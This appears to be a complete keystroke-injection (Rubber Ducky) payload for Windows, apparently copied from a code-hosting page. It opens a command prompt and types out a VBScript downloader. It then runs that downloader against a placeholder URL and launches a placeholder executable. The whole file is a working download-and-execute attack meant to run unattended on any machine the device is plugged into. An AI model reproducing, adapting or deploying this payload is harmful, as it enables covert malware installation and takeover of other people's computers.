60 lines
1.2 KiB
Plaintext
60 lines
1.2 KiB
Plaintext
DELAY 1000
|
|
GUI d
|
|
DELAY 500
|
|
GUI r
|
|
DELAY 500
|
|
STRING cmd
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 1000
|
|
STRING copy con download.vbs
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING If objXMLHTTP.Status = 200 Then
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
CTRL z
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING cscript download.vbs <INSERT URL HERE>
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING <INSERT EXE FILENAME HERE>
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING exit
|
|
DELAY 500
|
|
ENTER |